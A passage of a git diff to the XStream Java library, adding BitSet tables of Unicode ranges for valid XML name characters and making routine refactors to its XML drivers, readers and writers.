XML_NAME_START_CHARS_4TH.set(0x6D5); + XML_NAME_START_CHARS_4TH.set(0x6E5, 0x6E6 + 1); + XML_NAME_START_CHARS_4TH.set(0x905, 0x939 + 1); + XML_NAME_START_CHARS_4TH.set(0x93D); + XML_NAME_START_CHARS_4TH.set(0x958, 0x961 + 1); + XML_NAME_START_CHARS_4TH.set(0x985, 0x98C + 1); + XML_NAME_START_CHARS_4TH.set(0x98F, 0x990 + 1); + XML_NAME_START_CHARS_4TH.set(0x993, 0x9A8 + 1); + XML_NAME_START_CHARS_4TH.set(0x9AA, 0x9B0 + 1); + XML_NAME_START_CHARS_4TH.set(0x9B2); + XML_NAME_START_CHARS_4TH.set(0x9B6, 0x9B9 + 1); + XML_NAME_START_CHARS_4TH.set(0x9DC, 0x9DD + 1); + XML_NAME_START_CHARS_4TH.set(0x9DF, 0x9E1 + 1); + XML_NAME_START_CHARS_4TH.set(0x9F0, 0x9F1 + 1); + XML_NAME_START_CHARS_4TH.set(0xA05, 0xA0A + 1); + XML_NAME_START_CHARS_4TH.set(0xA0F, 0xA10 + 1); + XML_NAME_START_CHARS_4TH.set(0xA13, 0xA28 + 1); + XML_NAME_START_CHARS_4TH.set(0xA2A, 0xA30 + 1); + XML_NAME_START_CHARS_4TH.set(0xA32, 0xA33 + 1); + XML_NAME_START_CHARS_4TH.set(0xA35, 0xA36 + 1); + XML_NAME_START_CHARS_4TH.set(0xA38, 0xA39 + 1); + XML_NAME_START_CHARS_4TH.set(0xA59, 0xA5C + 1); + XML_NAME_START_CHARS_4TH.set(0xA5E); + XML_NAME_START_CHARS_4TH.set(0xA72, 0xA74 + 1); + XML_NAME_START_CHARS_4TH.set(0xA85, 0xA8B + 1); + XML_NAME_START_CHARS_4TH.set(0xA8D); + XML_NAME_START_CHARS_4TH.set(0xA8F, 0xA91 + 1); + XML_NAME_START_CHARS_4TH.set(0xA93, 0xAA8 + 1); + XML_NAME_START_CHARS_4TH.set(0xAAA, 0xAB0 + 1); + XML_NAME_START_CHARS_4TH.set(0xAB2, 0xAB3 + 1); + XML_NAME_START_CHARS_4TH.set(0xAB5, 0xAB9 + 1); + XML_NAME_START_CHARS_4TH.set(0xABD); + XML_NAME_START_CHARS_4TH.set(0xAE0); + XML_NAME_START_CHARS_4TH.set(0xB05, 0xB0C + 1); + XML_NAME_START_CHARS_4TH.set(0xB0F, 0xB10 + 1); + XML_NAME_START_CHARS_4TH.set(0xB13, 0xB28 + 1); + XML_NAME_START_CHARS_4TH.set(0xB2A, 0xB30 + 1); + XML_NAME_START_CHARS_4TH.set(0xB32, 0xB33 + 1); + XML_NAME_START_CHARS_4TH.set(0xB36, 0xB39 + 1); + XML_NAME_START_CHARS_4TH.set(0xB3D); + XML_NAME_START_CHARS_4TH.set(0xB5C, 0xB5D + 1); + XML_NAME_START_CHARS_4TH.set(0xB5F, 0xB61 + 1); + XML_NAME_START_CHARS_4TH.set(0xB85, 0xB8A + 1); + XML_NAME_START_CHARS_4TH.set(0xB8E, 0xB90 + 1); + XML_NAME_START_CHARS_4TH.set(0xB92, 0xB95 + 1); + XML_NAME_START_CHARS_4TH.set(0xB99, 0xB9A + 1); + XML_NAME_START_CHARS_4TH.set(0xB9C); + XML_NAME_START_CHARS_4TH.set(0xB9E, 0xB9F + 1); + XML_NAME_START_CHARS_4TH.set(0xBA3, 0xBA4 + 1); + XML_NAME_START_CHARS_4TH.set(0xBA8, 0xBAA + 1); + XML_NAME_START_CHARS_4TH.set(0xBAE, 0xBB5 + 1); + XML_NAME_START_CHARS_4TH.set(0xBB7, 0xBB9 + 1); + XML_NAME_START_CHARS_4TH.set(0xC05, 0xC0C + 1); + XML_NAME_START_CHARS_4TH.set(0xC0E, 0xC10 + 1); + XML_NAME_START_CHARS_4TH.set(0xC12, 0xC28 + 1); + XML_NAME_START_CHARS_4TH.set(0xC2A, 0xC33 + 1); + XML_NAME_START_CHARS_4TH.set(0xC35, 0xC39 + 1); + XML_NAME_START_CHARS_4TH.set(0xC60, 0xC61 + 1); + XML_NAME_START_CHARS_4TH.set(0xC85, 0xC8C + 1); + XML_NAME_START_CHARS_4TH.set(0xC8E, 0xC90 + 1); + XML_NAME_START_CHARS_4TH.set(0xC92, 0xCA8 + 1); + XML_NAME_START_CHARS_4TH.set(0xCAA, 0xCB3 + 1); + XML_NAME_START_CHARS_4TH.set(0xCB5, 0xCB9 + 1); + XML_NAME_START_CHARS_4TH.set(0xCDE); + XML_NAME_START_CHARS_4TH.set(0xCE0, 0xCE1 + 1); + XML_NAME_START_CHARS_4TH.set(0xD05, 0xD0C + 1); + XML_NAME_START_CHARS_4TH.set(0xD0E, 0xD10 + 1); + XML_NAME_START_CHARS_4TH.set(0xD12, 0xD28 + 1); + XML_NAME_START_CHARS_4TH.set(0xD2A, 0xD39 + 1); + XML_NAME_START_CHARS_4TH.set(0xD60, 0xD61 + 1); + XML_NAME_START_CHARS_4TH.set(0xE01, 0xE2E + 1); + XML_NAME_START_CHARS_4TH.set(0xE30); + XML_NAME_START_CHARS_4TH.set(0xE32, 0xE33 + 1); + XML_NAME_START_CHARS_4TH.set(0xE40, 0xE45 + 1); + XML_NAME_START_CHARS_4TH.set(0xE81, 0xE82 + 1); + XML_NAME_START_CHARS_4TH.set(0xE84); + XML_NAME_START_CHARS_4TH.set(0xE87, 0xE88 + 1); + XML_NAME_START_CHARS_4TH.set(0xE8A); + XML_NAME_START_CHARS_4TH.set(0xE8D); + XML_NAME_START_CHARS_4TH.set(0xE94, 0xE97 + 1); + XML_NAME_START_CHARS_4TH.set(0xE99, 0xE9F + 1); + XML_NAME_START_CHARS_4TH.set(0xEA1, 0xEA3 + 1); + XML_NAME_START_CHARS_4TH.set(0xEA5); + XML_NAME_START_CHARS_4TH.set(0xEA7); + XML_NAME_START_CHARS_4TH.set(0xEAA, 0xEAB + 1); + XML_NAME_START_CHARS_4TH.set(0xEAD, 0xEAE + 1); + XML_NAME_START_CHARS_4TH.set(0xEB0); + XML_NAME_START_CHARS_4TH.set(0xEB2, 0xEB3 + 1); + XML_NAME_START_CHARS_4TH.set(0xEBD); + XML_NAME_START_CHARS_4TH.set(0xEC0, 0xEC4 + 1); + XML_NAME_START_CHARS_4TH.set(0xF40, 0xF47 + 1); + XML_NAME_START_CHARS_4TH.set(0xF49, 0xF69 + 1); + XML_NAME_START_CHARS_4TH.set(0x10A0, 0x10C5 + 1); + XML_NAME_START_CHARS_4TH.set(0x10D0, 0x10F6 + 1); + XML_NAME_START_CHARS_4TH.set(0x1100); + XML_NAME_START_CHARS_4TH.set(0x1102, 0x1103 + 1); + XML_NAME_START_CHARS_4TH.set(0x1105, 0x1107 + 1); + XML_NAME_START_CHARS_4TH.set(0x1109); + XML_NAME_START_CHARS_4TH.set(0x110B, 0x110C + 1); + XML_NAME_START_CHARS_4TH.set(0x110E, 0x1112 + 1); + XML_NAME_START_CHARS_4TH.set(0x113C); + XML_NAME_START_CHARS_4TH.set(0x113E); + XML_NAME_START_CHARS_4TH.set(0x1140); + XML_NAME_START_CHARS_4TH.set(0x114C); + XML_NAME_START_CHARS_4TH.set(0x114E); + XML_NAME_START_CHARS_4TH.set(0x1150); + XML_NAME_START_CHARS_4TH.set(0x1154, 0x1155 + 1); + XML_NAME_START_CHARS_4TH.set(0x1159); + XML_NAME_START_CHARS_4TH.set(0x115F, 0x1161 + 1); + XML_NAME_START_CHARS_4TH.set(0x1163); + XML_NAME_START_CHARS_4TH.set(0x1165); + XML_NAME_START_CHARS_4TH.set(0x1167); + XML_NAME_START_CHARS_4TH.set(0x1169); + XML_NAME_START_CHARS_4TH.set(0x116D, 0x116E + 1); + XML_NAME_START_CHARS_4TH.set(0x1172, 0x1173 + 1); + XML_NAME_START_CHARS_4TH.set(0x1175); + XML_NAME_START_CHARS_4TH.set(0x119E); + XML_NAME_START_CHARS_4TH.set(0x11A8); + XML_NAME_START_CHARS_4TH.set(0x11AB); + XML_NAME_START_CHARS_4TH.set(0x11AE, 0x11AF + 1); + XML_NAME_START_CHARS_4TH.set(0x11B7, 0x11B8 + 1); + XML_NAME_START_CHARS_4TH.set(0x11BA); + XML_NAME_START_CHARS_4TH.set(0x11BC, 0x11C2 + 1); + XML_NAME_START_CHARS_4TH.set(0x11EB); + XML_NAME_START_CHARS_4TH.set(0x11F0); + XML_NAME_START_CHARS_4TH.set(0x11F9); + XML_NAME_START_CHARS_4TH.set(0x1E00, 0x1E9B + 1); + XML_NAME_START_CHARS_4TH.set(0x1EA0, 0x1EF9 + 1); + XML_NAME_START_CHARS_4TH.set(0x1F00, 0x1F15 + 1); + XML_NAME_START_CHARS_4TH.set(0x1F18, 0x1F1D + 1); + XML_NAME_START_CHARS_4TH.set(0x1F20, 0x1F45 + 1); + XML_NAME_START_CHARS_4TH.set(0x1F48, 0x1F4D + 1); + XML_NAME_START_CHARS_4TH.set(0x1F50, 0x1F57 + 1); + XML_NAME_START_CHARS_4TH.set(0x1F59); + XML_NAME_START_CHARS_4TH.set(0x1F5B); + XML_NAME_START_CHARS_4TH.set(0x1F5D); + XML_NAME_START_CHARS_4TH.set(0x1F5F, 0x1F7D + 1); + XML_NAME_START_CHARS_4TH.set(0x1F80, 0x1FB4 + 1); + XML_NAME_START_CHARS_4TH.set(0x1FB6, 0x1FBC + 1); + XML_NAME_START_CHARS_4TH.set(0x1FBE); + XML_NAME_START_CHARS_4TH.set(0x1FC2, 0x1FC4 + 1); + XML_NAME_START_CHARS_4TH.set(0x1FC6, 0x1FCC + 1); + XML_NAME_START_CHARS_4TH.set(0x1FD0, 0x1FD3 + 1); + XML_NAME_START_CHARS_4TH.set(0x1FD6, 0x1FDB + 1); + XML_NAME_START_CHARS_4TH.set(0x1FE0, 0x1FEC + 1); + XML_NAME_START_CHARS_4TH.set(0x1FF2, 0x1FF4 + 1); + XML_NAME_START_CHARS_4TH.set(0x1FF6, 0x1FFC + 1); + XML_NAME_START_CHARS_4TH.set(0x2126); + XML_NAME_START_CHARS_4TH.set(0x212A, 0x212B + 1); + XML_NAME_START_CHARS_4TH.set(0x212E); + XML_NAME_START_CHARS_4TH.set(0x2180, 0x2182 + 1); + XML_NAME_START_CHARS_4TH.set(0x3041, 0x3094 + 1); + XML_NAME_START_CHARS_4TH.set(0x30A1, 0x30FA + 1); + XML_NAME_START_CHARS_4TH.set(0x3105, 0x312C + 1); + XML_NAME_START_CHARS_4TH.set(0x3007); + XML_NAME_START_CHARS_4TH.set(0x3021, 0x3029 + 1); + XML_NAME_START_CHARS_4TH.set(0x4E00, 0x9FA5 + 1); + XML_NAME_START_CHARS_4TH.set(0xAC00, 0xD7A3 + 1); + + XML_NAME_START_CHARS_5TH.set(0xF8, 0x2FF + 1); + XML_NAME_START_CHARS_5TH.set(0x370, 0x37D + 1); + XML_NAME_START_CHARS_5TH.set(0x37F, 0x1FFF + 1); + XML_NAME_START_CHARS_5TH.set(0x200C, 0x200D + 1); + XML_NAME_START_CHARS_5TH.set(0x2070, 0x218F + 1); + XML_NAME_START_CHARS_5TH.set(0x2C00, 0x2FEF + 1); + XML_NAME_START_CHARS_5TH.set(0x3001, 0xD7FF + 1); + XML_NAME_START_CHARS_5TH.set(0xF900, 0xFDCF + 1); + XML_NAME_START_CHARS_5TH.set(0xFDF0, 0xFFFD + 1); + XML_NAME_START_CHARS_5TH.set(0x10000, 0xEFFFF + 1); + + final BitSet XML_NAME_CHARS_4TH = new BitSet(0xFFFFF); + XML_NAME_CHARS_4TH.set('-'); + XML_NAME_CHARS_4TH.set('.'); + XML_NAME_CHARS_4TH.set('0', '9' + 1); + XML_NAME_CHARS_4TH.set(0xB7); + + final BitSet XML_NAME_CHARS_5TH = (BitSet)XML_NAME_CHARS_4TH.clone(); + + XML_NAME_CHARS_4TH.or(XML_NAME_START_CHARS_4TH); + XML_NAME_CHARS_4TH.set(0x2D0); + XML_NAME_CHARS_4TH.set(0x2D1); + XML_NAME_CHARS_4TH.set(0x300, 0x345 + 1); + XML_NAME_CHARS_4TH.set(0x360, 0x361 + 1); + XML_NAME_CHARS_4TH.set(0x387); + XML_NAME_CHARS_4TH.set(0x483, 0x486 + 1); + XML_NAME_CHARS_4TH.set(0x591, 0x5A1 + 1); + XML_NAME_CHARS_4TH.set(0x5A3, 0x5B9 + 1); + XML_NAME_CHARS_4TH.set(0x5BB, 0x5BD + 1); + XML_NAME_CHARS_4TH.set(0x5BF); + XML_NAME_CHARS_4TH.set(0x5C1, 0x5C2 + 1); + XML_NAME_CHARS_4TH.set(0x5C4); + XML_NAME_CHARS_4TH.set(0x640); + XML_NAME_CHARS_4TH.set(0x64B, 0x652 + 1); + XML_NAME_CHARS_4TH.set(0x660, 0x669 + 1); + XML_NAME_CHARS_4TH.set(0x670); + XML_NAME_CHARS_4TH.set(0x6D6, 0x6DC + 1); + XML_NAME_CHARS_4TH.set(0x6DD, 0x6DF + 1); + XML_NAME_CHARS_4TH.set(0x6E0, 0x6E4 + 1); + XML_NAME_CHARS_4TH.set(0x6E7, 0x6E8 + 1); + XML_NAME_CHARS_4TH.set(0x6EA, 0x6ED + 1); + XML_NAME_CHARS_4TH.set(0x6F0, 0x6F9 + 1); + XML_NAME_CHARS_4TH.set(0x901, 0x903 + 1); + XML_NAME_CHARS_4TH.set(0x93C); + XML_NAME_CHARS_4TH.set(0x93E, 0x94C + 1); + XML_NAME_CHARS_4TH.set(0x94D); + XML_NAME_CHARS_4TH.set(0x951, 0x954 + 1); + XML_NAME_CHARS_4TH.set(0x962, 0x963 + 1); + XML_NAME_CHARS_4TH.set(0x966, 0x96F + 1); + XML_NAME_CHARS_4TH.set(0x981, 0x983 + 1); + XML_NAME_CHARS_4TH.set(0x9BC); + XML_NAME_CHARS_4TH.set(0x9BE); + XML_NAME_CHARS_4TH.set(0x9BF); + XML_NAME_CHARS_4TH.set(0x9C0, 0x9C4 + 1); + XML_NAME_CHARS_4TH.set(0x9C7, 0x9C8 + 1); + XML_NAME_CHARS_4TH.set(0x9CB, 0x9CD + 1); + XML_NAME_CHARS_4TH.set(0x9D7); + XML_NAME_CHARS_4TH.set(0x9E2, 0x9E3 + 1); + XML_NAME_CHARS_4TH.set(0x9E6, 0x9EF + 1); + XML_NAME_CHARS_4TH.set(0xA02); + XML_NAME_CHARS_4TH.set(0xA3C); + XML_NAME_CHARS_4TH.set(0xA3E); + XML_NAME_CHARS_4TH.set(0xA3F); + XML_NAME_CHARS_4TH.set(0xA40, 0xA42 + 1); + XML_NAME_CHARS_4TH.set(0xA47, 0xA48 + 1); + XML_NAME_CHARS_4TH.set(0xA4B, 0xA4D + 1); + XML_NAME_CHARS_4TH.set(0xA66, 0xA6F + 1); + XML_NAME_CHARS_4TH.set(0xA70, 0xA71 + 1); + XML_NAME_CHARS_4TH.set(0xA81, 0xA83 + 1); + XML_NAME_CHARS_4TH.set(0xABC); + XML_NAME_CHARS_4TH.set(0xABE, 0xAC5 + 1); + XML_NAME_CHARS_4TH.set(0xAC7, 0xAC9 + 1); + XML_NAME_CHARS_4TH.set(0xACB, 0xACD + 1); + XML_NAME_CHARS_4TH.set(0xAE6, 0xAEF + 1); + XML_NAME_CHARS_4TH.set(0xB01, 0xB03 + 1); + XML_NAME_CHARS_4TH.set(0xB3C); + XML_NAME_CHARS_4TH.set(0xB3E, 0xB43 + 1); + XML_NAME_CHARS_4TH.set(0xB47, 0xB48 + 1); + XML_NAME_CHARS_4TH.set(0xB4B, 0xB4D + 1); + XML_NAME_CHARS_4TH.set(0xB56, 0xB57 + 1); + XML_NAME_CHARS_4TH.set(0xB66, 0xB6F + 1); + XML_NAME_CHARS_4TH.set(0xB82, 0xB83 + 1); + XML_NAME_CHARS_4TH.set(0xBBE, 0xBC2 + 1); + XML_NAME_CHARS_4TH.set(0xBC6, 0xBC8 + 1); + XML_NAME_CHARS_4TH.set(0xBCA, 0xBCD + 1); + XML_NAME_CHARS_4TH.set(0xBD7); + XML_NAME_CHARS_4TH.set(0xBE7, 0xBEF + 1); + XML_NAME_CHARS_4TH.set(0xC01, 0xC03 + 1); + XML_NAME_CHARS_4TH.set(0xC3E, 0xC44 + 1); + XML_NAME_CHARS_4TH.set(0xC46, 0xC48 + 1); + XML_NAME_CHARS_4TH.set(0xC4A, 0xC4D + 1); + XML_NAME_CHARS_4TH.set(0xC55, 0xC56 + 1); + XML_NAME_CHARS_4TH.set(0xC66, 0xC6F + 1); + XML_NAME_CHARS_4TH.set(0xC82, 0xC83 + 1); + XML_NAME_CHARS_4TH.set(0xCBE, 0xCC4 + 1); + XML_NAME_CHARS_4TH.set(0xCC6, 0xCC8 + 1); + XML_NAME_CHARS_4TH.set(0xCCA, 0xCCD + 1); + XML_NAME_CHARS_4TH.set(0xCD5, 0xCD6 + 1); + XML_NAME_CHARS_4TH.set(0xCE6, 0xCEF + 1); + XML_NAME_CHARS_4TH.set(0xD02, 0xD03 + 1); + XML_NAME_CHARS_4TH.set(0xD3E, 0xD43 + 1); + XML_NAME_CHARS_4TH.set(0xD46, 0xD48 + 1); + XML_NAME_CHARS_4TH.set(0xD4A, 0xD4D + 1); + XML_NAME_CHARS_4TH.set(0xD57); + XML_NAME_CHARS_4TH.set(0xD66, 0xD6F + 1); + XML_NAME_CHARS_4TH.set(0xE31); + XML_NAME_CHARS_4TH.set(0xE34, 0xE3A + 1); + XML_NAME_CHARS_4TH.set(0xE46); + XML_NAME_CHARS_4TH.set(0xE47, 0xE4E + 1); + XML_NAME_CHARS_4TH.set(0xE50, 0xE59 + 1); + XML_NAME_CHARS_4TH.set(0xEB1); + XML_NAME_CHARS_4TH.set(0xEB4, 0xEB9 + 1); + XML_NAME_CHARS_4TH.set(0xEBB, 0xEBC + 1); + XML_NAME_CHARS_4TH.set(0xEC6); + XML_NAME_CHARS_4TH.set(0xEC8, 0xECD + 1); + XML_NAME_CHARS_4TH.set(0xED0, 0xED9 + 1); + XML_NAME_CHARS_4TH.set(0xF18, 0xF19 + 1); + XML_NAME_CHARS_4TH.set(0xF20, 0xF29 + 1); + XML_NAME_CHARS_4TH.set(0xF35); + XML_NAME_CHARS_4TH.set(0xF37); + XML_NAME_CHARS_4TH.set(0xF39); + XML_NAME_CHARS_4TH.set(0xF3E); + XML_NAME_CHARS_4TH.set(0xF3F); + XML_NAME_CHARS_4TH.set(0xF71, 0xF84 + 1); + XML_NAME_CHARS_4TH.set(0xF86, 0xF8B + 1); + XML_NAME_CHARS_4TH.set(0xF90, 0xF95 + 1); + XML_NAME_CHARS_4TH.set(0xF97); + XML_NAME_CHARS_4TH.set(0xF99, 0xFAD + 1); + XML_NAME_CHARS_4TH.set(0xFB1, 0xFB7 + 1); + XML_NAME_CHARS_4TH.set(0xFB9); + XML_NAME_CHARS_4TH.set(0x20D0, 0x20DC + 1); + XML_NAME_CHARS_4TH.set(0x20E1); + XML_NAME_CHARS_4TH.set(0x3005); + XML_NAME_CHARS_4TH.set(0x302A, 0x302F + 1); + XML_NAME_CHARS_4TH.set(0x3031, 0x3035 + 1); + XML_NAME_CHARS_4TH.set(0x3099); + XML_NAME_CHARS_4TH.set(0x309A); + XML_NAME_CHARS_4TH.set(0x309D, 0x309E + 1); + XML_NAME_CHARS_4TH.set(0x30FC, 0x30FE + 1); + + XML_NAME_CHARS_5TH.or(XML_NAME_START_CHARS_5TH); + XML_NAME_CHARS_5TH.set(0x300, 0x36F + 1); + XML_NAME_CHARS_5TH.set(0x203F, 0x2040 + 1); + + XML_NAME_START_CHARS = (BitSet)XML_NAME_START_CHARS_4TH.clone(); + XML_NAME_START_CHARS.and(XML_NAME_START_CHARS_5TH); + XML_NAME_CHARS = (BitSet)XML_NAME_CHARS_4TH.clone(); + XML_NAME_CHARS.and(XML_NAME_CHARS_5TH); } private final String dollarReplacement; @@ -102,7 +423,7 @@ void add(final char cp) { /** * Construct a new XmlFriendlyNameCoder. - * + * * @since 1.4 */ public XmlFriendlyNameCoder() { @@ -111,7 +432,7 @@ public XmlFriendlyNameCoder() { /** * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar and the escape character. - * + * * @param dollarReplacement * @param escapeCharReplacement * @since 1.4 @@ -123,7 +444,7 @@ public XmlFriendlyNameCoder(final String dollarReplacement, final String escapeC /** * Construct a new XmlFriendlyNameCoder with custom replacement strings for dollar, the escape character and the * prefix for hexadecimal encoding of invalid characters in XML names. - * + * * @param dollarReplacement * @param escapeCharReplacement * @since 1.4 @@ -166,7 +487,7 @@ private String encodeName(final String name) { for (; i < length; i++) { final char c = name.charAt(i); - if (c == '$' || c == '_' || c <= 27 || c >= 127) { + if (c < 'A' || (c > 'Z' && c < 'a') || c > 'z') { break; } } @@ -287,33 +608,11 @@ protected Map createCacheMap() { return new HashMap<>(); } - private static class IntPair { - int min; - int max; - - public IntPair(final int min, final int max) { - this.min = min; - this.max = max; - } - } - private static boolean isXmlNameStartChar(final int cp) { - return isInNameCharBounds(cp, XML_NAME_START_CHAR_BOUNDS); + return XML_NAME_START_CHARS.get(cp); } private static boolean isXmlNameChar(final int cp) { - if (isXmlNameStartChar(cp)) { - return true; - } - return isInNameCharBounds(cp, XML_NAME_CHAR_EXTRA_BOUNDS); - } - - private static boolean isInNameCharBounds(final int cp, final IntPair[] nameCharBounds) { - for (final IntPair p : nameCharBounds) { - if (cp >= p.min && cp <= p.max) { - return true; - } - } - return false; + return XML_NAME_CHARS.get(cp); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XomDriver.java index e51a993d4..e79e97060 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XomDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XomDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -111,9 +111,7 @@ public HierarchicalStreamReader createReader(final Reader text) { return new XomReader(document, getNameCoder()); } catch (final ValidityException e) { throw new StreamException(e); - } catch (final ParsingException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final ParsingException | IOException e) { throw new StreamException(e); } } @@ -125,9 +123,7 @@ public HierarchicalStreamReader createReader(final InputStream in) { return new XomReader(document, getNameCoder()); } catch (final ValidityException e) { throw new StreamException(e); - } catch (final ParsingException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final ParsingException | IOException e) { throw new StreamException(e); } } @@ -139,9 +135,7 @@ public HierarchicalStreamReader createReader(final URL in) { return new XomReader(document, getNameCoder()); } catch (final ValidityException e) { throw new StreamException(e); - } catch (final ParsingException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final ParsingException | IOException e) { throw new StreamException(e); } } @@ -153,9 +147,7 @@ public HierarchicalStreamReader createReader(final File in) { return new XomReader(document, getNameCoder()); } catch (final ValidityException e) { throw new StreamException(e); - } catch (final ParsingException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final ParsingException | IOException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XomWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XomWriter.java index db648552b..061205279 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XomWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XomWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -17,7 +17,7 @@ import nu.xom.Element; -public class XomWriter extends AbstractDocumentWriter { +public class XomWriter extends AbstractDocumentWriter { /** * @since 1.2.1 @@ -47,7 +47,7 @@ public XomWriter(final Element parentElement, final XmlFriendlyReplacer replacer } @Override - protected Object createNode(final String name) { + protected Element createNode(final String name) { final Element newNode = new Element(encodeNode(name)); final Element top = top(); if (top != null) { @@ -67,6 +67,6 @@ public void setValue(final String text) { } private Element top() { - return (Element)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomDriver.java index 6a26e9d9f..38dc450ec 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomDriver.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -13,7 +13,6 @@ import org.xmlpull.v1.XmlPullParser; import org.xmlpull.v1.XmlPullParserException; -import org.xmlpull.v1.XmlPullParserFactory; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.naming.NameCoder; @@ -27,8 +26,6 @@ */ public class XppDomDriver extends AbstractXppDomDriver { - private static XmlPullParserFactory factory; - public XppDomDriver() { super(new XmlFriendlyNameCoder()); } @@ -51,9 +48,6 @@ public XppDomDriver(final XmlFriendlyReplacer replacer) { @Override protected synchronized XmlPullParser createParser() throws XmlPullParserException { - if (factory == null) { - factory = XmlPullParserFactory.newInstance(null, XppDomDriver.class); - } - return factory.newPullParser(); + return XppDriver.createDefaultParser(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomWriter.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomWriter.java index a4091845b..3f05ec663 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomWriter.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDomWriter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -15,7 +15,7 @@ import com.thoughtworks.xstream.io.xml.xppdom.XppDom; -public class XppDomWriter extends AbstractDocumentWriter { +public class XppDomWriter extends AbstractDocumentWriter { public XppDomWriter() { this(null, new XmlFriendlyNameCoder()); } @@ -60,11 +60,11 @@ public XppDomWriter(final XppDom parent, final XmlFriendlyReplacer replacer) { } public XppDom getConfiguration() { - return (XppDom)getTopLevelNodes().get(0); + return getTopLevelNodes().get(0); } @Override - protected Object createNode(final String name) { + protected XppDom createNode(final String name) { final XppDom newNode = new XppDom(encodeNode(name)); final XppDom top = top(); if (top != null) { @@ -84,6 +84,6 @@ public void addAttribute(final String key, final String value) { } private XppDom top() { - return (XppDom)getCurrent(); + return getCurrent(); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDriver.java index 4798b3811..b68f5bc5d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppDriver.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -21,7 +21,7 @@ /** * A {@link HierarchicalStreamDriver} using the XmlPullParserFactory to locate an XML Pull Parser. - * + * * @author Joe Walnes * @author Jörg Schaible */ @@ -49,11 +49,23 @@ public XppDriver(final XmlFriendlyReplacer replacer) { this((NameCoder)replacer); } - @Override - protected synchronized XmlPullParser createParser() throws XmlPullParserException { + /** + * Create a default XML Pull Parser. The method uses the Java Service API to get the registered + * {@link XmlPullParserFactory} and let it create a new parser. + * + * @return a new instance of an XML Pull Parser + * @throws XmlPullParserException if the creation of a new parser fails. + * @since 1.4.11 + */ + public static synchronized XmlPullParser createDefaultParser() throws XmlPullParserException { if (factory == null) { factory = XmlPullParserFactory.newInstance(); } return factory.newPullParser(); } + + @Override + protected XmlPullParser createParser() throws XmlPullParserException { + return createDefaultParser(); + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppReader.java index 6679c9708..f1f2da8b2 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XppReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XppReader.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -101,11 +101,7 @@ protected XmlPullParser createParser() { return (XmlPullParser)Class .forName("org.xmlpull.mxp1.MXParser", true, XmlPullParser.class.getClassLoader()) .newInstance(); - } catch (final InstantiationException e) { - exception = e; - } catch (final IllegalAccessException e) { - exception = e; - } catch (final ClassNotFoundException e) { + } catch (final InstantiationException | IllegalAccessException | ClassNotFoundException e) { exception = e; } throw new StreamException("Cannot create Xpp3 parser instance.", exception); @@ -128,9 +124,7 @@ protected int 